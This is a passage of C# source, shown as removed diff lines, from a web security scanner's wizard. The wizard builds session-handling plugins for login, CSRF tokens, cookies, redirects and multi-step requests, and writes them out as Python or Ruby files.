QuestionTypeParametersAnswer; - AnswerTabs.SelectTab("ParameterAnswerTab"); - } - - void ShowSelectOptionQuestion(string Question, List Options, string SpecialOptionText) - { - SetQuestionText(Question); - ResetParameterAnswerFields(true); - - OptionsGrid.Rows.Clear(); - foreach (string Option in Options) - { - OptionsGrid.Rows.Add(new object[]{false, Option}); - } - - if (OptionsGrid.Rows.Count > 0) - SelectedOptionSubmitBtn.Enabled = true; - else - SelectedOptionSubmitBtn.Enabled = false; - - SpecialOptionBtn.Text = SpecialOptionText; - - if (SpecialOptionText.Length > 0) - SpecialOptionBtn.Visible = true; - else - SpecialOptionBtn.Visible = false; - - - CurrentQuestionType = QuestionTypeSelectOptionAnswer; - AnswerTabs.SelectTab("SelectOptionTab"); - } - - void ShowPreInjectionRequestSourceQuestion() - { - CurrentStep = HandleMultiStep__PreInjectionRequestSourceStep; - PreInjectionCounter++; - if (PreInjectionCounter == 1) - MultiStepActionPseudoCode = string.Format("PreInjectionCode:{0}", Environment.NewLine); - string Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestSourceStep], GetNumberWithSuffix(PreInjectionCounter)); - ShowRequestSourceQuestion(Q, ""); - } - - void ShowPostInjectionRequestSourceQuestion() - { - CurrentStep = HandleMultiStep__PostInjectionRequestSourceStep; - PostInjectionCounter++; - if (PostInjectionCounter == 1) - { - StringBuilder SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - SB.AppendLine("PostInjectionCode:"); - MultiStepActionPseudoCode = SB.ToString(); - } - string Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestSourceStep], GetNumberWithSuffix(PostInjectionCounter)); - ShowRequestSourceQuestion(Q, ""); - } - - void ShowPreInjectionParametersUpdateQuestions() - { - CurrentStep = HandleMultiStep__PreInjectionRequestParametersStep; - string Q = ""; - if (PreInjectionCounter == PreInjectionCounterMax) - //Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], "'ToInject'", GetNumberWithSuffix(PreInjectionCounter)); - Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], "'Main Request'", this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1]); - else - //Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], GetNumberWithSuffix(PreInjectionCounter), GetNumberWithSuffix(PreInjectionCounter - 1)); - Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 2]); - ShowParameterUpdateQuestion(Q, false); - } - - void ShowPostInjectionParametersUpdateQuestions() - { - CurrentStep = HandleMultiStep__PostInjectionRequestParametersStep; - string Q = ""; - if (PostInjectionCounter == 1) - //Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], GetNumberWithSuffix(PostInjectionCounter), "'ToInject'"); - Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], "'Main Request'"); - else - //Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], GetNumberWithSuffix(PostInjectionCounter), GetNumberWithSuffix(PostInjectionCounter -1)); - Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 2]); - ShowParameterUpdateQuestion(Q, false); - } - - void ShowPseudoCode(string Question, string PseudoCode) - { - SetQuestionText(Question); - ShowPseudoCodeTB.Text = PseudoCode; - CurrentQuestionType = QuestionTypeShowPseudoCode; - AnswerTabs.SelectTab("ShowPseudoCodeTab"); - } - - void SetQuestionText(string Question) - { - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(Tools.RtfSafe(Question)); - SB.Append(@" \par"); - QuestionRTB.Rtf = SB.ToString(); - } - - - #endregion - - - #region ProcessAnswer - void ProcessUserAnswer() - { - switch(CurrentSection) - { - case(HomeMenu): - ProcessHomeMenuAnswer(); - break; - case (HandleRedirect): - ProcessHandleRedirectAnswer(); - break; - case (HandleCSRFTokens): - ProcessHandleCSRFTokensAnswer(); - break; - //case (HandleEncodedParameters): - // ProcessHandleEncodedParametersAnswer(); - // break; - case (HandleLogin): - ProcessHandleLoginAnswer(); - break; - case (HandleMultiStep): - ProcessHandleMultiStepAnswer(); - break; - case (HandleSetCookies): - ProcessHandleSetCookiesAnswer(); - break; - case(PluginCreation): - ProcessPluginCreationAnswer(); - break; - } - } - - void ProcessHomeMenuAnswer() - { - string Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case ("0"): - if (NamesOfCookieParametersToUpdate.Count > 0 || UpdateCSRFTokensPseudoCode.Length > 0 || LoginActionPseudoCode.Length > 0 || FollowRedirectPseudoCode.Length > 0 || MultiStepActionPseudoCode.Length > 0) - { - CurrentSection = PluginCreation; - CurrentStep = PluginCreation__PluginNameStep; - ShowQuestion(string.Format(Questions[PluginCreation__PluginNameStep], string.Join(">", SessionPlugin.List().ToArray())), true); - } - else - { - ShowError("You must first define 1 or more of the 5 actions before creating the Session Plugin"); - } - break; - case ("1"): - CurrentSection = HandleSetCookies; - CurrentStep = HandleSetCookies__BaseStep; - this.RequestNamesFromUserList.Clear(); - //ShowQuestion(Questions[HandleSetCookies__BaseStep], true); - ShowSelectOptionQuestion(Questions[HandleSetCookies__BaseStep], QuestionOptions[HandleSetCookies__BaseStep], ""); - break; - case("2"): - CurrentSection = HandleCSRFTokens; - CurrentStep = HandleCSRFTokens__BaseStep; - this.RequestNamesFromUserList.Clear(); - //ShowQuestion(Questions[HandleCSRFTokens__BaseStep], true); - ShowSelectOptionQuestion(Questions[HandleCSRFTokens__BaseStep], QuestionOptions[HandleCSRFTokens__BaseStep], ""); - break; - case ("3"): - CurrentSection = HandleLogin; - CurrentStep = HandleLogin__BaseStep; - this.RequestNamesFromUserList.Clear(); - //ShowQuestion(Questions[HandleLogin__BaseStep], true); - ShowSelectOptionQuestion(Questions[HandleLogin__BaseStep], QuestionOptions[HandleLogin__BaseStep], ""); - break; - case ("4"): - CurrentSection = HandleRedirect; - CurrentStep = HandleRedirect__BaseStep; - this.RequestNamesFromUserList.Clear(); - //ShowQuestion(Questions[HandleRedirect__BaseStep], true); - ShowSelectOptionQuestion(Questions[HandleRedirect__BaseStep], QuestionOptions[HandleRedirect__BaseStep], ""); - break; - case ("5"): - CurrentSection = HandleMultiStep; - CurrentStep = HandleMultiStep__BaseStep; - this.RequestNamesFromUserList.Clear(); - //ShowQuestion(Questions[HandleMultiStep__BaseStep], true); - ShowSelectOptionQuestion(Questions[HandleMultiStep__BaseStep], QuestionOptions[HandleMultiStep__BaseStep], ""); - break; - //case ("6"): - // CurrentSection = HandleEncodedParameters; - // break; - default: - ShowError("Invalid option, try again"); - break; - } - } - - void ProcessHandleRedirectAnswer() - { - string Answer = ""; - switch(CurrentStep) - { - case(HandleRedirect__BaseStep): - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case("1"): - CurrentStep = HandleRedirect__ResponseSignatureStep; - ShowResponseSignatureQuestion(Questions[HandleRedirect__ResponseSignatureStep], false); - break; - case ("2"): - GoToHomeMenu(); - break; - case ("3"): - CurrentStep = HandleRedirect__EnterPseudoCodeStep; - ShowQuestion(Questions[HandleRedirect__EnterPseudoCodeStep], true); - break; - default: - ShowError("Invalid option, try again"); - break; - } - break; - case(HandleRedirect__ResponseSignatureStep): - try - { - FollowRedirectPseudoCode = RedirectSignatureToPseudoCode(); - string[] Code = FollowRediretPseudoCodeToCode(); - CurrentStep = HandleRedirect__ShowPseudoCodeStep; - //ShowQuestion(string.Format(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode), true); - //ShowSelectOptionQuestion(string.Format(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode), new List() { }, "Go to Home Menu"); - ShowPseudoCode(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode); - } - catch { ShowError("Invalid input, try again"); } - break; - case (HandleRedirect__EnterPseudoCodeStep): - Answer = AnswerTB.Text.Trim(); - FollowRedirectPseudoCode = Answer; - GoToHomeMenu(); - break; - case(HandleRedirect__ShowPseudoCodeStep): - GoToHomeMenu(); - break; - } - } - - void ProcessHandleCSRFTokensAnswer() - { - string Answer = AnswerTB.Text.Trim(); - switch(CurrentStep) - { - case(HandleCSRFTokens__BaseStep): - switch (Answer) - { - case("1"): - UpdateCSRFTokensPseudoCode = ""; - CurrentStep = HandleCSRFTokens__ParameterSourceStep; - //ShowQuestion(Questions[HandleCSRFTokens__ParameterSourceStep], true); - ShowSelectOptionQuestion(Questions[HandleCSRFTokens__ParameterSourceStep], QuestionOptions[HandleCSRFTokens__ParameterSourceStep], ""); - break; - case ("2"): - GoToHomeMenu(); - break; - case ("3"): - CurrentStep = HandleCSRFTokens__PseudoCodeStep; - ShowQuestion(Questions[HandleCSRFTokens__PseudoCodeStep], false); - break; - default: - ShowError("Invalid option selected, try again."); - break; - } - break; - case(HandleCSRFTokens__ParameterSourceStep): - switch (Answer) - { - case("1"): - CurrentStep = HandleCSRFTokens__RequestToSendForResponseStep; - ShowRequestSourceQuestion(Questions[HandleCSRFTokens__RequestToSendForResponseStep], ""); - break; - case ("2"): - CurrentStep = HandleCSRFTokens__ParametersStep; - //ShowParameterUpdateQuestion(Questions[HandleCSRFTokens__ParametersStep], true); - ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersAskUserOnlyStep], "Main Request"), true); - break; - default: - ShowError("Invalid option selected, try again."); - break; - } - break; - case(HandleCSRFTokens__RequestToSendForResponseStep): - try - { - UpdateCSRFTokensPseudoCode = RequestSourceToPseudoCode(); - StringBuilder SB = new StringBuilder(UpdateCSRFTokensPseudoCode); - SB.AppendLine("SendRequest"); - SB.AppendLine("GetRequest ToInject"); - UpdateCSRFTokensPseudoCode = SB.ToString(); - CurrentStep = HandleCSRFTokens__ParametersStep; - if(this.RequestNamesFromUserList.Count > 0) - ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersStep], "Main Request", this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1]), false); - else - ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersStep], "Main Request", "previous unnamed request"), false); - } - catch { ShowError("Invalid answer, try again."); } - break; - case(HandleCSRFTokens__ParametersStep): - StringBuilder PC = new StringBuilder(UpdateCSRFTokensPseudoCode); - PC.Append(ParametersAnswerToPseudoCode()); - UpdateCSRFTokensPseudoCode = PC.ToString(); - CurrentStep = HandleCSRFTokens__ShowPseudoCodeStep; - //ShowQuestion(string.Format(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode), true); - //ShowSelectOptionQuestion(string.Format(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode), new List() { }, "Go to Home Menu"); - ShowPseudoCode(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode); - break; - case (HandleCSRFTokens__PseudoCodeStep): - Answer = BigAnswerTB.Text.Trim(); - UpdateCSRFTokensPseudoCode = Answer; - GoToHomeMenu(); - break; - case(HandleCSRFTokens__ShowPseudoCodeStep): - GoToHomeMenu(); - break; - } - } - - //void ProcessHandleEncodedParametersAnswer() - //{ - - //} - - void ProcessHandleLoginAnswer() - { - string Answer = AnswerTB.Text.Trim(); - switch (CurrentStep) - { - case (HandleLogin__BaseStep): - switch (Answer) - { - case ("1"): - CurrentStep = HandleLogin__LoggedinCheckRequestSourceStep; - ShowRequestSourceQuestion(Questions[HandleLogin__LoggedinCheckRequestSourceStep], "Login Check"); - break; - case ("2"): - GoToHomeMenu(); - break; - case ("3"): - CurrentStep = HandleLogin__PseudoCodeStep; - ShowQuestion(Questions[HandleLogin__PseudoCodeStep], false); - break; - default: - ShowError("Invalid option entered"); - break; - } - break; - case (HandleLogin__PseudoCodeStep): - LoginActionPseudoCode = BigAnswerTB.Text.Trim(); - GoToHomeMenu(); - break; - case (HandleLogin__LoggedinCheckRequestSourceStep): - try - { - LoginActionPseudoCode = RequestSourceToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.AppendLine("SendRequest"); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep; - ShowResponseSignatureQuestion(Questions[HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep], true); - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep): - try - { - string LoginLoggedSignaturePseudoCode = ResponseSignatureToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.Append(LoginLoggedSignaturePseudoCode); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__LoginRequestSourceStep; - ShowRequestSourceQuestion(Questions[HandleLogin__LoginRequestSourceStep], "Login"); - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__LoginRequestSourceStep): - try - { - LoginRequestSourcePseudoCode = RequestSourceToPseudoCode(); - CurrentStep = HandleLogin__ShouldUpdateLoginRequestStep; - //ShowQuestion(Questions[HandleLogin__ShouldUpdateLoginRequestStep], true); - ShowSelectOptionQuestion(Questions[HandleLogin__ShouldUpdateLoginRequestStep], QuestionOptions[HandleLogin__ShouldUpdateLoginRequestStep], ""); - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__ShouldUpdateLoginRequestStep): - try - { - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case("1"): - CurrentStep = HandleLogin__IsPreLoginRequestNeededStep; - //ShowQuestion(Questions[HandleLogin__IsPreLoginRequestNeededStep], true); - ShowSelectOptionQuestion(Questions[HandleLogin__IsPreLoginRequestNeededStep], QuestionOptions[HandleLogin__IsPreLoginRequestNeededStep], ""); - break; - case ("2"): - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.Append(LoginRequestSourcePseudoCode); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__ToInjectRequestParametersStep; - ShowParameterUpdateQuestion(Questions[HandleLogin__ToInjectRequestParametersStep], false); - break; - default: - throw new Exception("Invalid Input, try again."); - } - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__IsPreLoginRequestNeededStep): - try - { - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case("1"): - CurrentStep = HandleLogin__PreLoginRequestSourceStep; - ShowRequestSourceQuestion(Questions[HandleLogin__PreLoginRequestSourceStep], "Pre Login"); - break; - case ("2"): - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.Append(LoginRequestSourcePseudoCode); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__LoginRequestParametersStep; - ShowParameterUpdateQuestion(Questions[HandleLogin__LoginRequestParametersStep], true); - break; - default: - throw new Exception("Invalid Input, try again."); - } - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__PreLoginRequestSourceStep): - try - { - string PreLoginRequestPseudoCode = RequestSourceToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.Append(PreLoginRequestPseudoCode); - SB.AppendLine("SendRequest"); - SB.Append(LoginRequestSourcePseudoCode); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__LoginRequestParametersStep; - ShowParameterUpdateQuestion(Questions[HandleLogin__LoginRequestParametersStep], false); - } - catch { ShowError("Invalid Input, try again."); } - break; - case (HandleLogin__LoginRequestParametersStep): - try - { - string LoginRequestParametersUpdatePseudoCode = ParametersAnswerToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.Append(LoginRequestParametersUpdatePseudoCode); - LoginActionPseudoCode = SB.ToString(); - CurrentStep = HandleLogin__ToInjectRequestParametersStep; - ShowParameterUpdateQuestion(Questions[HandleLogin__ToInjectRequestParametersStep], false); - } - catch{ShowError("Invalid Input, try again.");} - break; - case (HandleLogin__ToInjectRequestParametersStep): - try - { - string PostLoginParametersUpdatePseudoCode = ParametersAnswerToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(LoginActionPseudoCode); - SB.AppendLine("SendRequest"); - SB.AppendLine("GetRequest ToInject"); - SB.Append(PostLoginParametersUpdatePseudoCode); - LoginActionPseudoCode = SB.ToString(); - string[] Code = LoginActionPseudoCodeToCode(); - CurrentStep = HandleLogin__ShowPseudoCodeStep; - //ShowQuestion(string.Format(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode), true); - //ShowSelectOptionQuestion(string.Format(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode), new List() { }, "Go to Home Menu"); - ShowPseudoCode(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode); - } - catch { ShowError("Invalid Input, try again."); } - break; - case(HandleLogin__ShowPseudoCodeStep): - GoToHomeMenu(); - break; - } - } - - void ProcessHandleMultiStepAnswer() - { - string Answer = AnswerTB.Text.Trim(); - switch(CurrentStep) - { - case (HandleMultiStep__BaseStep): - switch (Answer) - { - case("1"): - CurrentStep = HandleMultiStep__BeforeAfterInjectionSelectionStep; - //ShowQuestion(Questions[HandleMultiStep__BeforeAfterInjectionSelectionStep], true); - ShowSelectOptionQuestion(Questions[HandleMultiStep__BeforeAfterInjectionSelectionStep], QuestionOptions[HandleMultiStep__BeforeAfterInjectionSelectionStep], ""); - break; - case ("2"): - GoToHomeMenu(); - break; - case ("3"): - CurrentStep = HandleMultiStep__PseudoCodeStep; - ShowQuestion(Questions[HandleCSRFTokens__PseudoCodeStep], false); - break; - default: - ShowError("Invaid option entered, try again."); - break; - } - break; - case (HandleMultiStep__PseudoCodeStep): - MultiStepActionPseudoCode = BigAnswerTB.Text.Trim(); - MultiStepActionPseudoCodeToCode(); - GoToHomeMenu(); - break; - case (HandleMultiStep__BeforeAfterInjectionSelectionStep): - Answer = AnswerTB.Text.Trim(); - switch(Answer) - { - case("1"): - PreInjectionStepsPresent = true; - PostInjectionStepsPresent = false; - break; - case("2"): - PreInjectionStepsPresent = false; - PostInjectionStepsPresent = true; - break; - case("3"): - PreInjectionStepsPresent = true; - PostInjectionStepsPresent = true; - break; - default: - ShowError("Invaid option entered, try again."); - break; - } - MultiStepActionPseudoCode = ""; - PreInjectionCounter = 0; - PreInjectionCounterMax = 0; - PostInjectionCounter = 0; - if (PreInjectionStepsPresent) - ShowPreInjectionRequestSourceQuestion(); - else if (PostInjectionStepsPresent) - ShowPostInjectionRequestSourceQuestion(); - break; - case (HandleMultiStep__PreInjectionRequestSourceStep): - try - { - string PC = RequestSourceToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - SB.Append(PC); - MultiStepActionPseudoCode = SB.ToString(); - if (PreInjectionCounter == 1) - { - SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - SB.AppendLine("SendRequest"); - MultiStepActionPseudoCode = SB.ToString(); - CurrentStep = HandleMultiStep__MorePreInjectionRequestStep; - //ShowQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], true); - ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePreInjectionRequestStep], ""); - } - else - { - ShowPreInjectionParametersUpdateQuestions(); - } - } - catch { ShowError("Invalid option, try again."); } - break; - case (HandleMultiStep__PreInjectionRequestParametersStep): - try - { - string PC = ParametersAnswerToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - if (PreInjectionCounterMax == PreInjectionCounter) - { - SB.AppendLine("GetRequest ToInject"); - } - SB.Append(PC); - if (PreInjectionCounterMax < PreInjectionCounter) - { - SB.AppendLine("SendRequest"); - } - MultiStepActionPseudoCode = SB.ToString(); - if (PreInjectionCounterMax == PreInjectionCounter) - { - if (PostInjectionStepsPresent) - { - ShowPostInjectionRequestSourceQuestion(); - } - else - { - CurrentStep = HandleMultiStep__ShowPseudoCodeStep; - //ShowQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), true); - //ShowSelectOptionQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), new List() { }, "Go to Home Menu"); - ShowPseudoCode(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode); - } - } - else - { - CurrentStep = HandleMultiStep__MorePreInjectionRequestStep; - //ShowQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], true); - ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePreInjectionRequestStep], ""); - } - } - catch { ShowError("Invalid option, try again."); } - break; - case (HandleMultiStep__MorePreInjectionRequestStep): - try - { - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case("1"): - ShowPreInjectionRequestSourceQuestion(); - break; - case("2"): - PreInjectionCounterMax = PreInjectionCounter; - ShowPreInjectionParametersUpdateQuestions(); - break; - } - } - catch { ShowError("Invalid option, try again"); } - break; - case (HandleMultiStep__ToInjectRequestParametersStep): - break; - case (HandleMultiStep__PostInjectionRequestSourceStep): - try - { - string PC = RequestSourceToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - SB.Append(PC); - MultiStepActionPseudoCode = SB.ToString(); - ShowPostInjectionParametersUpdateQuestions(); - } - catch { ShowError("Invalid option, try again."); } - break; - case (HandleMultiStep__PostInjectionRequestParametersStep): - try - { - string PC = ParametersAnswerToPseudoCode(); - StringBuilder SB = new StringBuilder(); - SB.Append(MultiStepActionPseudoCode); - SB.Append(PC); - SB.AppendLine("SendRequest"); - MultiStepActionPseudoCode = SB.ToString(); - CurrentStep = HandleMultiStep__MorePostInjectionRequestStep; - //ShowQuestion(Questions[HandleMultiStep__MorePostInjectionRequestStep], true); - ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePostInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePostInjectionRequestStep], ""); - } - catch { ShowError("Invalid option, try again."); } - break; - case (HandleMultiStep__MorePostInjectionRequestStep): - try - { - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case ("1"): - ShowPostInjectionRequestSourceQuestion(); - break; - case ("2"): - CurrentStep = HandleMultiStep__ShowPseudoCodeStep; - //ShowQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), true); - //ShowSelectOptionQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), new List() { }, "Go to Home Menu"); - ShowPseudoCode(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode); - break; - } - } - catch { ShowError("Invalid option, try again"); } - break; - case (HandleMultiStep__ShowPseudoCodeStep): - GoToHomeMenu(); - break; - } - } - - void ProcessHandleSetCookiesAnswer() - { - string Answer = ""; - switch (CurrentStep) - { - case (HandleSetCookies__BaseStep): - Answer = AnswerTB.Text.Trim(); - switch (Answer) - { - case("1"): - CurrentStep = HandleSetCookies__ParameterNames; - ShowQuestion(Questions[HandleSetCookies__ParameterNames], false); - break; - case ("2"): - GoToHomeMenu(); - break; - default: - ShowError("Invalid option, try again"); - break; - } - break; - case (HandleSetCookies__ParameterNames): - Answer = BigAnswerTB.Text.Trim(); - try - { - string[] ParameterNames = Answer.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - foreach (string _PN in ParameterNames) - { - string PN = _PN.Trim(); - if (PN.Length > 0) NamesOfCookieParametersToUpdate.Add(PN); - } - } - catch { } - GoToHomeMenu(); - break; - } - } - - void ProcessPluginCreationAnswer() - { - string Answer = AnswerTB.Text.Trim(); - switch (CurrentStep) - { - case (PluginCreation__PluginNameStep): - if(!Regex.IsMatch(Answer, "^[a-zA-Z]+$")) - { - ShowError("Plugin Name should only contain alphabets (a-z)"); - return; - } - if (!Answer[0].ToString().ToUpper().Equals(Answer[0].ToString())) - { - ShowError("Plugin Name should begin with an upper case letter"); - return; - } - if (SessionPlugin.List().Contains(Answer)) - { - ShowError("A Session Plugin with this name already exists. Please select a different name."); - return; - } - PluginName = Answer; - CurrentStep = PluginCreation__LanguageStep; - ShowSelectOptionQuestion(Questions[PluginCreation__LanguageStep], QuestionOptions[PluginCreation__LanguageStep], ""); - //ShowQuestion(Questions[PluginCreation__LanguageStep], true); - break; - case (PluginCreation__LanguageStep): - switch(Answer) - { - case("1"): - PluginLang = "py"; - break; - case ("2"): - PluginLang = "rb"; - break; - default: - ShowError("Invalid option, try again."); - return; - } - try - { - string[] Code = PseudoCodeToPlugin(); - string PluginCode = ""; - if (PluginLang.Equals("py")) - PluginCode = Code[0]; - else - PluginCode = Code[1]; - bool PluginCreated = false; - - int Counter = 0; - string FFN = ""; - while (!PluginCreated) - { - string FN = ""; - if (Counter == 0) - FN = string.Format("{0}.{1}", PluginName, PluginLang); - else - FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); - FFN = string.Format("{0}\\Plugins\\Session\\{1}", Config.Path, FN); - Counter++; - if (!File.Exists(FFN)) - { - try - { - File.WriteAllText(FFN, PluginCode); - PluginCreated = true; - PluginEngine.LoadNewSessionPlugins(); - } - catch (Exception Exp) { ShowError(string.Format("Unable to create plugin file - {0}", Exp.Message)); } - } - } - CurrentStep = PluginCreation__FinalStep; - ShowSelectOptionQuestion(string.Format(Questions[PluginCreation__FinalStep], FFN), new List(), "Close this Assistant"); - } - catch (Exception Exp) { ShowError(string.Format("Error creating plugin - {0}", Exp.Message));} - break; - case (PluginCreation__FinalStep): - this.Close(); - break; - } - } - #endregion - - - #region misc - void GoToHomeMenu() - { - CurrentSection = HomeMenu; - CurrentStep = HomeMenu__BaseStep; - ShowSelectOptionQuestion(Questions[HomeMenu__BaseStep], QuestionOptions[HomeMenu__BaseStep], "Create a Session Plugin based on the answers provided"); - //ShowQuestion(Questions[HomeMenu__BaseStep], true); - } - - string GetLogSourcesList() - { - if (LogSources.Keys.Count == 0) - { - LogSources.Add(1, "Proxy"); - LogSources.Add(2, "Probe"); - LogSources.Add(3, "Test"); - LogSources.Add(4, "Shell"); - LogSources.Add(5, "Scan"); - List Sources = Config.GetOtherSourceList(); - for (int i = 0; i < Sources.Count; i++) - { - LogSources.Add(i + 6, Sources[i]); - } - } - StringBuilder SB = new StringBuilder(); - foreach (int Index in LogSources.Keys) - { - SB.AppendLine(string.Format("{0}) {1} Log", Index, LogSources[Index])); - } - return SB.ToString(); - } - - void ResetParameterAnswerFields(bool ClearGridRows) - { - ParameterTypeCombo.SelectedIndex = 1; - ParameterNameTB.Text = ""; - ParameterSourceFromResponseRB.Checked = false; - ParameterSourceFromUserRB.Checked = false; - ParseParameterFromHtmlRB.Checked = false; - ParseParameterFromRegexRB.Checked = false; - ParameterParseRegexTB.Text = ""; - ParameterSourceFromUserRB.Checked = false; - ParameterAskUserHintTB.Text = ""; - HowToParseResponsePanel.Visible = false; - HowToUpdateParameterPanel.Visible = false; - UserHintPanel.Visible = false; - AddParameterAnswerEntryLL.Visible = false; - EditParameterAnswerEntryLL.Enabled = false; - DeleteParameterAnswerEntryLL.Enabled = false; - EditParameterAnswerEntryLL.Visible = false; - DeleteParameterAnswerEntryLL.Visible = false; - if (ClearGridRows) - ParametersAnswerGrid.Rows.Clear(); - } - - string GetNumberWithSuffix(int Num) - { - if(Num > 10 && Num < 20) - { - return string.Format("{0}th", Num); - } - else - { - string NumStr = Num.ToString(); - switch(NumStr[NumStr.Length - 1]) - { - case('1'): - return string.Format("{0}st", Num); - case ('2'): - return string.Format("{0}nd", Num); - case ('3'): - return string.Format("{0}rd", Num); - default: - return string.Format("{0}th", Num); - } - } - } - #endregion - - #region CreatePseudoCode - string RequestSourceToPseudoCode() - { - string LogSource = RequestSourceCombo.Text; - string LogId = RequestSourceIdTB.Text.Trim(); - string RequestName = string.Format("{0} request", RequestSourceNameTB.Text.Trim()); - this.RequestNamesFromUserList.Add(RequestName); - int RequestId = Int32.Parse(LogId); - return string.Format("GetRequest[{0}] {1}-{2}{3}", RequestName, LogSource, RequestId, Environment.NewLine); - } - - string RedirectSignatureToPseudoCode() - { - string PartialPseudoCode = ""; - string Code = SignatureResponseCodeTB.Text; - string Location = LocationSignatureTypeSelectCombo.Text; - string Keyword = LocationSignatureKeywordTB.Text; - if (UseLocationSignatureCB.Checked) - { - PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Location"); - } - else - { - PartialPseudoCode = SignatureToPartialPseudoCode(Code, "", "", ""); - } - return string.Format("FollowRedirect {0}", PartialPseudoCode); - } - - string ResponseSignatureToPseudoCode() - { - string Code = SignatureResponseCodeTB.Text; - string Location = LocationSignatureTypeSelectCombo.Text; - string Keyword = LocationSignatureKeywordTB.Text; - string PartialPseudoCode = ""; - StringBuilder SB = new StringBuilder(); - - if (LoggedInResponseSignatureRB.Checked) - SB.AppendLine("LoggedInSignatureBegins"); - else if (LoggedOutResponseSignatureRB.Checked) - SB.AppendLine("LoggedOutSignatureBegins"); - else - throw new Exception("Invalid input"); - - if (UseLocationSignatureCB.Checked) - { - PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Location"); - SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); - } - if (UseTitleSignatureCB.Checked) - { - Location = 